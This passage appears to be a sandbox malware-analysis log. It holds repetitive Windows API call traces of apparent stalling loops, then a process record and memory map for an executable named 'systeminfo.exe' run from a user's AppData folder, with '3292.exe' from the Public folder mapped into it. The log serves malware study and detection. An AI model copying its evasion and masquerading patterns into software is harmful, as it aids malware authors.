[0040.289] GetLastError () returned 0x57 [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.289] GetLastError () returned 0x57 [0040.289] GetLastError () returned 0x57 [0040.289] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.289] SetLastError (dwErrCode=0x57) [0040.289] GetCurrentProcess () returned 0xffffffff [0040.289] GetLastError () returned 0x57 [0040.289] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1E90P") returned 5 [0040.289] SetLastError (dwErrCode=0x57) [0040.289] lstrlenA (lpString="just string") returned 11 [0040.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] GetCurrentProcess () returned 0xffffffff [0040.290] GetLastError () returned 0x57 [0040.290] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1E9BP") returned 5 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] lstrlenA (lpString="just string") returned 11 [0040.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] GetLastError () returned 0x57 [0040.290] GetLastError () returned 0x57 [0040.290] GetLastError () returned 0x57 [0040.290] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] GetCurrentProcess () returned 0xffffffff [0040.290] GetLastError () returned 0x57 [0040.290] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1F08P") returned 5 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] lstrlenA (lpString="just string") returned 11 [0040.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] GetCurrentProcess () returned 0xffffffff [0040.290] GetLastError () returned 0x57 [0040.290] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1F27P") returned 5 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] lstrlenA (lpString="just string") returned 11 [0040.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] GetLastError () returned 0x57 [0040.290] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] GetCurrentProcess () returned 0xffffffff [0040.290] GetLastError () returned 0x57 [0040.290] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1F4EP") returned 5 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] lstrlenA (lpString="just string") returned 11 [0040.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] lstrlenA (lpString="just string") returned 11 [0040.290] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.290] GetLastError () returned 0x57 [0040.290] GetLastError () returned 0x57 [0040.290] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.290] SetLastError (dwErrCode=0x57) [0040.290] GetCurrentProcess () returned 0xffffffff [0040.290] GetLastError () returned 0x57 [0040.290] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2002P") returned 5 [0040.290] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetLastError () returned 0x57 [0040.291] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] GetCurrentProcess () returned 0xffffffff [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="202AP") returned 5 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetLastError () returned 0x57 [0040.291] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] GetCurrentProcess () returned 0xffffffff [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2070P") returned 5 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2090P") returned 5 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="20AEP") returned 5 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetCurrentProcess () returned 0xffffffff [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="20E9P") returned 5 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] lstrlenA (lpString="just string") returned 11 [0040.291] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.291] GetLastError () returned 0x57 [0040.291] GetLastError () returned 0x57 [0040.291] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.291] SetLastError (dwErrCode=0x57) [0040.291] GetCurrentProcess () returned 0xffffffff [0040.291] GetLastError () returned 0x57 [0040.291] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="211AP") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] GetCurrentProcess () returned 0xffffffff [0040.292] GetLastError () returned 0x57 [0040.292] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2125P") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] GetLastError () returned 0x57 [0040.292] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="214EP") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] GetLastError () returned 0x57 [0040.292] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] GetCurrentProcess () returned 0xffffffff [0040.292] GetLastError () returned 0x57 [0040.292] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="21A6P") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] GetLastError () returned 0x57 [0040.292] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="21DAP") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] GetLastError () returned 0x57 [0040.292] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] GetCurrentProcess () returned 0xffffffff [0040.292] GetLastError () returned 0x57 [0040.292] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="21E2P") returned 5 [0040.292] SetLastError (dwErrCode=0x57) [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.292] lstrlenA (lpString="just string") returned 11 [0040.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.292] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] GetCurrentProcess () returned 0xffffffff [0040.293] GetLastError () returned 0x57 [0040.293] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="228CP") returned 5 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] GetCurrentProcess () returned 0xffffffff [0040.293] GetLastError () returned 0x57 [0040.293] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="22A1P") returned 5 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="22CAP") returned 5 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] GetCurrentProcess () returned 0xffffffff [0040.293] GetLastError () returned 0x57 [0040.293] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2369P") returned 5 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] GetLastError () returned 0x57 [0040.293] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] GetCurrentProcess () returned 0xffffffff [0040.293] GetLastError () returned 0x57 [0040.293] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="23B8P") returned 5 [0040.293] SetLastError (dwErrCode=0x57) [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.293] GetLastError () returned 0x57 [0040.293] lstrlenA (lpString="just string") returned 11 [0040.293] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetCurrentProcess () returned 0xffffffff [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="23F5P") returned 5 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetLastError () returned 0x57 [0040.294] GetLastError () returned 0x57 [0040.294] GetCurrentProcess () returned 0xffffffff [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="243BP") returned 5 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetLastError () returned 0x57 [0040.294] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] GetCurrentProcess () returned 0xffffffff [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2458P") returned 5 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2496P") returned 5 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetCurrentProcess () returned 0xffffffff [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="255DP") returned 5 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] lstrlenA (lpString="just string") returned 11 [0040.294] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.294] GetLastError () returned 0x57 [0040.294] GetLastError () returned 0x57 [0040.294] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.294] SetLastError (dwErrCode=0x57) [0040.294] GetCurrentProcess () returned 0xffffffff [0040.294] GetLastError () returned 0x57 [0040.294] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="25B6P") returned 5 [0040.295] SetLastError (dwErrCode=0x57) [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] GetLastError () returned 0x57 [0040.295] GetLastError () returned 0x57 [0040.295] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="25C2P") returned 5 [0040.295] SetLastError (dwErrCode=0x57) [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] GetLastError () returned 0x57 [0040.295] GetLastError () returned 0x57 [0040.295] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="25FEP") returned 5 [0040.295] SetLastError (dwErrCode=0x57) [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] GetLastError () returned 0x57 [0040.295] GetLastError () returned 0x57 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] GetLastError () returned 0x57 [0040.295] GetLastError () returned 0x57 [0040.295] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="26A8P") returned 5 [0040.295] SetLastError (dwErrCode=0x57) [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.295] lstrlenA (lpString="just string") returned 11 [0040.295] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.296] lstrlenA (lpString="just string") returned 11 [0040.296] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.297] lstrlenA (lpString="just string") returned 11 [0040.297] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.404] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0042.773] CloseHandle (hObject=0xd8) returned 1 [0042.773] CloseHandle (hObject=0xd4) returned 1 [0042.773] CloseHandle (hObject=0xcc) returned 1 [0042.773] CloseHandle (hObject=0xd0) returned 1 [0042.773] ExitProcess (uExitCode=0x0) Process: id = "7" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x8b21000" os_pid = "0x81c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xbfc" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1369 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1370 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1371 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1372 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1373 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1374 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1375 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1376 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1377 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1378 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1379 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1380 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1381 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1382 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1383 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1384 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1385 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1386 start_va = 0x140000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1387 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1388 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1389 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1390 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1391 start_va = 0x1c0000 end_va = 0x226fff entry_point = 0x1c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1392 start_va = 0x3a0000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1393 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1394 start_va = 0x74800000 end_va = 0x74850fff entry_point = 0x7482988c region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 1395 start_va = 0x74860000 end_va = 0x74891fff entry_point = 0x748637f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1396 start_va = 0x748a0000 end_va = 0x748b3fff entry_point = 0x748a1340 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 1397 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1398 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1399 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1400 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1401 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1402 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1403 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1404 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1405 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1406 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1407 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1408 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1409 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1410 start_va = 0x76b60000 end_va = 0x76beefff entry_point = 0x76b63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1411 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1412 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1413 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1414 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1415 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1416 start_va = 0x600000 end_va = 0x787fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1417 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1418 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1419 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1420 start_va = 0x30000 